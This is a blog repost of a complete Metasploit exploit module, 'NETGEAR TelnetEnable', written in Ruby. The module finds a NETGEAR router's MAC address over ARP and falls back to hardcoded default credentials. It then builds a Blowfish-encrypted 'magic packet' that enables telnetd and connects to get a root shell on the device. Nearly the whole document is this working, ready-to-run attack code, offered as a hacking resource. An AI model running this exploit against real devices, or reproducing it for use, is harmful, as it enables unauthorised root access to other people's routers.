Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379583

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Capture

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'NETGEAR TelnetEnable',
      'Description'        => %q{
        This module sends a magic packet to a NETGEAR device to enable telnetd.
        Upon successful connect, a root shell should be presented to the user.
      },
      'Author'             => [
        'Paul Gebheim', # Python PoC (TCP)
        'insanid',      # Python PoC (UDP)
        'wvu',          # Metasploit module
      ],
      'References'         => [
        ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
        ['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
        ['URL', 'https://github.com/insanid/netgear-telenetenable']
      ],
      'DisclosureDate'     => 'Oct 30 2009', # Python PoC (TCP)
      'License'            => MSF_LICENSE,
      'Platform'           => 'unix',
      'Arch'               => ARCH_CMD,
      'Privileged'         => true,
      'Payload'            => {
        'Compat'           => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'            => [
        ['Automatic (detect TCP or UDP)',
          proto:    :auto
        ],
        ['TCP (typically older devices)',
          proto:    :tcp,
          username: 'Gearguy',
          password: 'Geardog'
        ],
        ['UDP (typically newer devices)',
          proto:    :udp,
          username: 'admin',
          password: 'password'
        ]
      ],
      'DefaultTarget'      => 0
    ))

    register_options([
      Opt::RPORT(23),
      OptString.new('MAC',      [false, 'MAC address of device']),
      OptString.new('USERNAME', [false, 'Username on device']),
      OptString.new('PASSWORD', [false, 'Password on device'])
    ])
  end

  def check
    # Run through protocol detection
    detect_proto

    # This is a gamble, but it's the closest we can get
    if @proto == :tcp
      CheckCode::Detected
    else
      CheckCode::Unknown
    end
  end

  def exploit
    # Try to do the exploit unless telnetd is detected
    @do_exploit = true

    # Detect TCP or UDP and presence of telnetd
    @proto = target[:proto]
    detect_proto if @proto == :auto

    # Use supplied or ARP-cached MAC address
    configure_mac if @do_exploit

    # Use supplied or default creds
    configure_creds if @do_exploit

    # Shell it
    exploit_telnetenabled if @do_exploit
    connect_telnetd
  end

  def detect_proto
    begin
      connect

      res = begin
        sock.get_once || ''
      rescue EOFError
        ''
      end

      # telnetenabled returns no data, unlike telnetd
      if res.length == 0
        print_good('Detected telnetenabled on TCP')
      else
        print_good('Detected telnetd on TCP')
        @do_exploit = false
      end

      @proto = :tcp
    # It's UDP... and we may not get an ICMP error...
    rescue Rex::ConnectionError
      print_good('Detected telnetenabled on UDP')
      @proto = :udp
    ensure
      disconnect
    end
  end

  def configure_mac
    @mac = datastore['MAC']

    return if @mac

    print_status('Attempting to discover MAC address via ARP')

    begin
      open_pcap
      @mac = lookup_eth(rhost).first
    rescue RuntimeError
      fail_with(Failure::BadConfig, 'Superuser access required')
    ensure
      close_pcap
    end

    if @mac
      print_good("Found MAC address #{@mac}")
    else
      fail_with(Failure::Unknown, 'Could not find MAC address')
    end
  end

  def configure_creds
    @username = datastore['USERNAME'] || target[:username]
    @password = datastore['PASSWORD'] || target[:password]

    # Try to use default creds if no creds were found
    unless @username && @password
      tgt = targets.find { |t| t[:proto] == @proto }
      @username = tgt[:username]
      @password = tgt[:password]
    end

    print_good("Using creds #{@username}:#{@password}")
  end

  def exploit_telnetenabled
    print_status('Generating magic packet')
    payload = magic_packet(@mac, @username, @password)

    begin
      print_status("Connecting to telnetenabled via #{@proto.upcase}")
      @proto == :tcp ? connect : connect_udp
      print_status('Sending magic packet')
      @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
    rescue Rex::ConnectionError
      fail_with(Failure::Disconnected, 'Something happened mid-connection!')
    ensure
      print_status('Disconnecting from telnetenabled')
      @proto == :tcp ? disconnect : disconnect_udp
    end

    # Wait a couple seconds for telnetd to come up
    print_status('Waiting for telnetd')
    sleep(2)
  end

  def connect_telnetd
    print_status('Connecting to telnetd')
    connect
    handler(sock)
  end

  # NOTE: This is almost a verbatim copy of the Python PoC
  def magic_packet(mac, username, password)
    mac = mac.gsub(/[:-]/, '').upcase

    if mac.length != 12
      fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
    end
    just_mac = mac.ljust(0x10, "\x00")

    if username.length > 0x10
      fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
    end
    just_username = username.ljust(0x10, "\x00")

    if @proto == :tcp
      if password.length > 0x10
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
      end
      just_password = password.ljust(0x10, "\x00")
    elsif @proto == :udp
      # Thanks to Roberto Frenna for the reserved field analysis
      if password.length > 0x21
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
      end
      just_password = password.ljust(0x21, "\x00")
    end

    cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
    md5_key = Rex::Text.md5_raw(cleartext)

    payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))

    secret_key = 'AMBIT_TELNET_ENABLE+' + password

    byte_swap(blowfish_encrypt(secret_key, payload))
  end

  def blowfish_encrypt(secret_key, payload)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt

    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key     = secret_key

    cipher.update(payload) + cipher.final
  end

  def byte_swap(data)
    data.unpack('N*').pack('V*')
  end

end